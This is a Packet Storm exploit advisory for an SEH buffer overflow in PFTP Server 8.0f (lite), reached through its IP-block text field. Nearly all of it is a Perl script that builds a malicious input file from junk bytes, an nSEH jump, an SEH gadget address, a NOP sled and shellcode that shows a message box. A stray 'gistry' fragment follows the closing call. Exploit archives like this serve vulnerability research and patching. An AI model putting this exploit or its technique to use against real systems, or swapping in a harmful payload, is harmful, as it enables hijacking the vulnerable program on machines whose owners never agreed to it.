PFTP Server 8.0f Buffer Overflow

2015-08-31T00:00:00
ID PACKETSTORM:133381
Type packetstorm
Reporter Robbie Corley
Modified 2015-08-31T00:00:00

Description

                                        
                                            `#*************************************************************************************************************  
#   
# Exploit Title: PFTP Server 8.0f (lite) SEH bypass technique tested on Win7x64   
# Date: 8-29-2015  
# Software Link: http://www.heise.de/download/the-personal-ftp-server-78679a5e8458e9faa7c5564617bdd4c4-1440883445-267104.html  
# Exploit Author: Robbie Corley  
# Contact: c0d3rc0rl3y@gmail.com  
# Website:   
# CVE:   
# Category: Local Exploit  
#  
# Description:  
# There is a textfield within the program that asks for IPs to be blocked against the FTP server that is vulnerable to an SEH based buffer overflow.  
#  
# Side Notes: I haven't been able to implement a partial EIP overwrite for ASLR on this exploit, so I had to resort  
# to manually adding an exception to ASLR in the ret's it. You should then be greeted with a MessageBox.   
#**************************************************************************************************************  
  
my $junk = "A" x 272;  
  
#$nseh = "\xcc\xcc\xcc\xcc"; # breakpoint for testing  
  
$nseh = "\xeb\x10\x90\x90"; # jump to shellcode  
$seh = pack('V',0x03033303); # popad, call ebp from \Device\HarddiskVolume1\Windows\Fonts\StaticCache.dat, which is outside the module range and has SEH off  
  
#MessageBox Shellc0de   
#https://www.exploit-db.com/exploits/28996/  
  
my $shellcode =  
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".  
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".  
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".  
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".  
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".  
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".  
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".  
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";  
  
$nops = "\x90" x 20;   
my $junk2 = "\x90" x 1000;  
  
open(myfile,'>buffy.txt');  
  
print myfile $junk.$nseh.$seh.$nops.$shellcode.$junk2;  
close (myfile);gistry  
`